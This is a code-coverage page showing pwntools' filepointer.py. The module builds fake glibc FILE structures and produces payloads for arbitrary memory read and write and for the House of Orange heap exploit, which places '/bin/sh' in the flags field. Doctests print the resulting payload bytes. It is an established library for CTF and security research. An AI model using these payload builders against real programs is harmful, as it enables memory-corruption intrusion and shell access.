• Home
  • Features
  • Pricing
  • Docs
  • Announcements
  • Sign In

Gallopsled / pwntools / 1

14 Jun 2020 10:13AM UTC coverage: 0.0% (-63.9%) from 63.947%
1

push

github

web-flow
add ".plt.sec" to search section (#1577)

* add .plt.sec to search section

* add test ELFs for .plt.sec

0 of 2 new or added lines in 1 file covered. (0.0%)

10048 existing lines in 136 files now uncovered.

0 of 15546 relevant lines covered (0.0%)

0.0 hits per line

Source File
Press 'n' to go to next uncovered line, 'b' for previous

0.0
/pwnlib/filepointer.py
1
# -*- coding: utf-8 -*-
2

3
r"""
4
File Structure Exploitation
5

6
struct FILE (_IO_FILE) is the structure for File Streams.
7
This offers various targets for exploitation on an existing bug in the code.
8
Examples - ``_IO_buf_base`` and ``_IO_buf_end`` for reading data to arbitrary location.
9

10
Remembering the offsets of various structure members while faking a FILE structure can be difficult,
11
so this python class helps you with that. Example-
12

13
>>> context.clear(arch='amd64')
14
>>> fileStr = FileStructure(null=0xdeadbeef)
15
>>> fileStr.vtable = 0xcafebabe
16
>>> payload = bytes(fileStr)
17
>>> payload
18
b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
19

20
Now payload contains the FILE structure with its vtable pointer pointing to 0xcafebabe
21

22
Currently only 'amd64' and 'i386' architectures are supported
23
"""
24

UNCOV
25
from __future__ import absolute_import
×
UNCOV
26
from __future__ import division
×
27

UNCOV
28
from pwnlib.context import context
×
UNCOV
29
from pwnlib.log import getLogger
×
UNCOV
30
from pwnlib.util.misc import python_2_bytes_compatible
×
UNCOV
31
from pwnlib.util.packing import pack
×
32

UNCOV
33
log = getLogger(__name__)
×
34

UNCOV
35
length=0
×
UNCOV
36
size='size'
×
UNCOV
37
name='name'
×
38

UNCOV
39
variables={
×
40
    0:{name:'flags',size:length},
41
    1:{name:'_IO_read_ptr',size:length},
42
    2:{name:'_IO_read_end',size:length},
43
    3:{name:'_IO_read_base',size:length},
44
    4:{name:'_IO_write_base',size:length},
45
    5:{name:'_IO_write_ptr',size:length},
46
    6:{name:'_IO_write_end',size:length},
47
    7:{name:'_IO_buf_base',size:length},
48
    8:{name:'_IO_buf_end',size:length},
49
    9:{name:'_IO_save_base',size:length},
50
    10:{name:'_IO_backup_base',size:length},
51
    11:{name:'_IO_save_end',size:length},
52
    12:{name:'markers',size:length},
53
    13:{name:'chain',size:length},
54
    14:{name:'fileno',size:4},
55
    15:{name:'_flags2',size:4},
56
    16:{name:'_old_offset',size:length},
57
    17:{name:'_cur_column',size:2},
58
    18:{name:'_vtable_offset',size:1},
59
    19:{name:'_shortbuf',size:1},
60
    20:{name:'unknown1',size:-4},
61
    21:{name:'_lock',size:length},
62
    22:{name:'_offset',size:8},
63
    23:{name:'_codecvt',size:length},
64
    24:{name:'_wide_data',size:length},
65
    25:{name:'unknown2',size:length},
66
    26:{name:'vtable',size:length}
67
}
68

69

UNCOV
70
def update_var(l):
×
71
    r"""
72
    Since different members of the file structure have different sizes, we need to keep track of the sizes. The following function is used by the FileStructure class to initialise the lengths of the various fields.
73

74
    Arguments:
75
        l(int)
76
            l=8 for 'amd64' architecture and l=4 for 'i386' architecture
77

78
    Return Value:
79
        Returns a dictionary in which each field is mapped to its corresponding length according to the architecture set
80

81
    Examples:
82

83
        >>> update_var(8)
84
        {'flags': 8, '_IO_read_ptr': 8, '_IO_read_end': 8, '_IO_read_base': 8, '_IO_write_base': 8, '_IO_write_ptr': 8, '_IO_write_end': 8, '_IO_buf_base': 8, '_IO_buf_end': 8, '_IO_save_base': 8, '_IO_backup_base': 8, '_IO_save_end': 8, 'markers': 8, 'chain': 8, 'fileno': 4, '_flags2': 4, '_old_offset': 8, '_cur_column': 2, '_vtable_offset': 1, '_shortbuf': 1, 'unknown1': 4, '_lock': 8, '_offset': 8, '_codecvt': 8, '_wide_data': 8, 'unknown2': 48, 'vtable': 8}
85
    """
UNCOV
86
    var={}
×
UNCOV
87
    for i in variables:
×
UNCOV
88
        var[variables[i]['name']]=variables[i]['size']
×
UNCOV
89
    for i in var:
×
UNCOV
90
        if var[i]<=0:
×
UNCOV
91
            var[i]+=l
×
UNCOV
92
    if l==4:
×
93
        var['unknown2']=56
×
94
    else:
UNCOV
95
        var['unknown2']=48
×
UNCOV
96
    return var
×
97

98

UNCOV
99
@python_2_bytes_compatible
×
UNCOV
100
class FileStructure(object):
×
101
    r"""
102
    Crafts a FILE structure, with default values for some fields, like _lock which should point to null ideally, set.
103

104
    Arguments:
105
        null(int)
106
            A pointer to NULL value in memory. This pointer can lie in any segment (stack, heap, bss, libc etc)
107

108
    Examples:
109

110
        FILE structure with flags as 0xfbad1807 and _IO_buf_base and _IO_buf_end pointing to 0xcafebabe and 0xfacef00d
111

112
        >>> context.clear(arch='amd64')
113
        >>> fileStr = FileStructure(null=0xdeadbeeef)
114
        >>> fileStr.flags = 0xfbad1807
115
        >>> fileStr._IO_buf_base = 0xcafebabe
116
        >>> fileStr._IO_buf_end = 0xfacef00d
117
        >>> payload = bytes(fileStr)
118
        >>> payload
119
        b'\x07\x18\xad\xfb\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\r\xf0\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xee\xdb\xea\r\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
120

121
        Check the length of the FileStructure
122

123
        >>> len(fileStr)
124
        224
125

126
        The defination for __repr__ orders the structure members and displays then in a dictionary format. It's useful when viewing a structure objet in python/IPython shell
127

128
        >>> q=FileStructure(0xdeadbeef)
129
        >>> q
130
        { flags: 0x0
131
         _IO_read_ptr: 0x0
132
         _IO_read_end: 0x0
133
         _IO_read_base: 0x0
134
         _IO_write_base: 0x0
135
         _IO_write_ptr: 0x0
136
         _IO_write_end: 0x0
137
         _IO_buf_base: 0x0
138
         _IO_buf_end: 0x0
139
         _IO_save_base: 0x0
140
         _IO_backup_base: 0x0
141
         _IO_save_end: 0x0
142
         markers: 0x0
143
         chain: 0x0
144
         fileno: 0x0
145
         _flags2: 0x0
146
         _old_offset: 0xffffffffffffffff
147
         _cur_column: 0x0
148
         _vtable_offset: 0x0
149
         _shortbuf: 0x0
150
         unknown1: 0x0
151
         _lock: 0xdeadbeef
152
         _offset: 0xffffffffffffffff
153
         _codecvt: 0x0
154
         _wide_data: 0xdeadbeef
155
         unknown2: 0x0
156
         vtable: 0x0}
157
    """
158

UNCOV
159
    vars_=[]
×
UNCOV
160
    length={}
×
161

UNCOV
162
    def __init__(self, null=0):
×
UNCOV
163
            self.vars_ = [variables[i]['name'] for i in sorted(variables.keys())]
×
UNCOV
164
            self.setdefault(null)
×
UNCOV
165
            self.length = update_var(context.bytes)
×
UNCOV
166
            self._old_offset = (1 << context.bits) - 1
×
167

UNCOV
168
    def __setattr__(self,item,value):
×
UNCOV
169
        if item in FileStructure.__dict__ or item in self.vars_:
×
UNCOV
170
            object.__setattr__(self,item,value)
×
171
        else:
172
            log.error("Unknown variable %r" % item)
×
173

UNCOV
174
    def __repr__(self):
×
UNCOV
175
        structure=[]
×
UNCOV
176
        for i in self.vars_:
×
UNCOV
177
            structure.append(" %s: %s" % (i,hex(self.__getattr__(i))))
×
UNCOV
178
        return "{"+ "\n".join(structure)+"}"
×
179

UNCOV
180
    def __getattr__(self,item):
×
UNCOV
181
        if item in FileStructure.__dict__ or item in self.vars_:
×
UNCOV
182
            return object.__getattribute__(self,item)
×
183
        log.error("Unknown variable %r" % item)
×
184

UNCOV
185
    def __len__(self):
×
UNCOV
186
        return len(bytes(self))
×
187

UNCOV
188
    def __bytes__(self):
×
UNCOV
189
        structure = b''
×
UNCOV
190
        for val in self.vars_:
×
UNCOV
191
            if isinstance(self.__getattr__(val), bytes):
×
UNCOV
192
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
193
            else:
UNCOV
194
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
UNCOV
195
        return structure
×
196

UNCOV
197
    def struntil(self,v):
×
198
        r"""
199
        Payload for stuff till 'v' where 'v' is a structure member. This payload includes 'v' as well.
200

201
        Arguments:
202
            v(string)
203
                The name of the field uptil which the payload should be created.
204

205
        Example:
206

207
            Payload for data uptil _IO_buf_end
208

209
            >>> context.clear(arch='amd64')
210
            >>> fileStr = FileStructure(0xdeadbeef)
211
            >>> payload = fileStr.struntil("_IO_buf_end")
212
            >>> payload
213
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
214
        """
UNCOV
215
        if v not in self.vars_:
×
216
            return b''
×
UNCOV
217
        structure = b''
×
UNCOV
218
        for val in self.vars_:
×
UNCOV
219
            if isinstance(self.__getattr__(val), bytes):
×
220
                structure += self.__getattr__(val).ljust(context.bytes, b'\x00')
×
221
            else:
UNCOV
222
                structure += pack(self.__getattr__(val), self.length[val]*8)
×
UNCOV
223
            if val == v:
×
UNCOV
224
                break
×
UNCOV
225
        return structure[:-1]
×
226

UNCOV
227
    def setdefault(self,null):
×
UNCOV
228
            self.flags=0
×
UNCOV
229
            self._IO_read_ptr=0
×
UNCOV
230
            self._IO_read_end=0
×
UNCOV
231
            self._IO_read_base=0
×
UNCOV
232
            self._IO_write_base=0
×
UNCOV
233
            self._IO_write_ptr=0
×
UNCOV
234
            self._IO_write_end=0
×
UNCOV
235
            self._IO_buf_base=0
×
UNCOV
236
            self._IO_buf_end=0
×
UNCOV
237
            self._IO_save_base=0
×
UNCOV
238
            self._IO_backup_base=0
×
UNCOV
239
            self._IO_save_end=0
×
UNCOV
240
            self.markers=0
×
UNCOV
241
            self.chain=0
×
UNCOV
242
            self.fileno=0
×
UNCOV
243
            self._flags2=0
×
UNCOV
244
            self._old_offset=0
×
UNCOV
245
            self._cur_column=0
×
UNCOV
246
            self._vtable_offset=0
×
UNCOV
247
            self._shortbuf=0
×
UNCOV
248
            self.unknown1=0
×
UNCOV
249
            self._lock=null
×
UNCOV
250
            self._offset=0xffffffffffffffff
×
UNCOV
251
            self._codecvt=0
×
UNCOV
252
            self._wide_data=null
×
UNCOV
253
            self.unknown2=0
×
UNCOV
254
            self.vtable=0
×
255

UNCOV
256
    def write(self,addr=0,size=0):
×
257
        r"""
258
        Writing data out from arbitrary memory address.
259

260
        Arguments:
261
            addr(int)
262
                The address from which data is to be printed to stdout
263
            size(int)
264
                The size, in bytes, of the data to be printed
265

266
        Example:
267

268
            Payload for writing 100 bytes to stdout from the address 0xcafebabe
269

270
            >>> context.clear(arch='amd64')
271
            >>> fileStr = FileStructure(0xdeadbeef)
272
            >>> payload = fileStr.write(addr=0xcafebabe, size=100)
273
            >>> payload
274
            b'\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00'
275
        """
UNCOV
276
        self.flags &=~8
×
UNCOV
277
        self.flags |=0x800
×
UNCOV
278
        self._IO_write_base = addr
×
UNCOV
279
        self._IO_write_ptr = addr+size
×
UNCOV
280
        self._IO_read_end = addr
×
UNCOV
281
        self.fileno = 1
×
UNCOV
282
        return self.struntil('fileno')
×
283

UNCOV
284
    def read(self,addr=0,size=0):
×
285
        r"""
286
        Reading data into arbitrary memory location.
287

288
        Arguments:
289
            addr(int)
290
                The address into which data is to be written from stdin
291
            size(int)
292
                The size, in bytes, of the data to be written
293

294
        Example:
295

296
            Payload for reading 100 bytes from stdin into the address 0xcafebabe
297

298
            >>> context.clear(arch='amd64')
299
            >>> fileStr = FileStructure(0xdeadbeef)
300
            >>> payload = fileStr.read(addr=0xcafebabe, size=100)
301
            >>> payload
302
            b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00"\xbb\xfe\xca\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
303
        """
UNCOV
304
        self.flags &=~4
×
UNCOV
305
        self._IO_read_base = 0
×
UNCOV
306
        self._IO_read_ptr = 0
×
UNCOV
307
        self._IO_buf_base = addr
×
UNCOV
308
        self._IO_buf_end = addr+size
×
UNCOV
309
        self.fileno = 0
×
UNCOV
310
        return self.struntil('fileno')
×
311

UNCOV
312
    def orange(self,io_list_all,vtable):
×
313
        r"""
314
        Perform a House of Orange (https://github.com/shellphish/how2heap/blob/master/glibc_2.25/house_of_orange.c), provided you have libc leaks.
315

316
        Arguments:
317
            io_list_all(int)
318
                Address of _IO_list_all in libc.
319
            vtable(int)
320
                Address of the fake vtable in memory
321

322
        Example:
323

324
            Example payload if address of _IO_list_all is 0xfacef00d and fake vtable is at 0xcafebabe -
325

326
            >>> context.clear(arch='amd64')
327
            >>> fileStr = FileStructure(0xdeadbeef)
328
            >>> payload = fileStr.orange(io_list_all=0xfacef00d, vtable=0xcafebabe)
329
            >>> payload
330
            b'/bin/sh\x00a\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xfd\xef\xce\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\xff\xff\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x00\x00\xef\xbe\xad\xde\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xbe\xba\xfe\xca\x00\x00\x00\x00'
331
        """
UNCOV
332
        if context.bits == 64:
×
UNCOV
333
            self.flags = b'/bin/sh\x00'
×
UNCOV
334
            self._IO_read_ptr = 0x61
×
UNCOV
335
            self._IO_read_base = io_list_all-0x10
×
336
        elif context.bits == 32:
×
337
            self.flags = b'sh\x00'
×
338
            self._IO_read_ptr = 0x121
×
339
            self._IO_read_base = io_list_all-0x8
×
UNCOV
340
        self._IO_write_base = 0
×
UNCOV
341
        self._IO_write_ptr = 1
×
UNCOV
342
        self.vtable = vtable
×
UNCOV
343
        return self.__bytes__()
×
STATUS · Troubleshooting · Open an Issue · Sales · Support · CAREERS · ENTERPRISE · START FREE · SCHEDULE DEMO
ANNOUNCEMENTS · TWITTER · TOS & SLA · Supported CI Services · What's a CI service? · Automated Testing

© 2026 Coveralls, Inc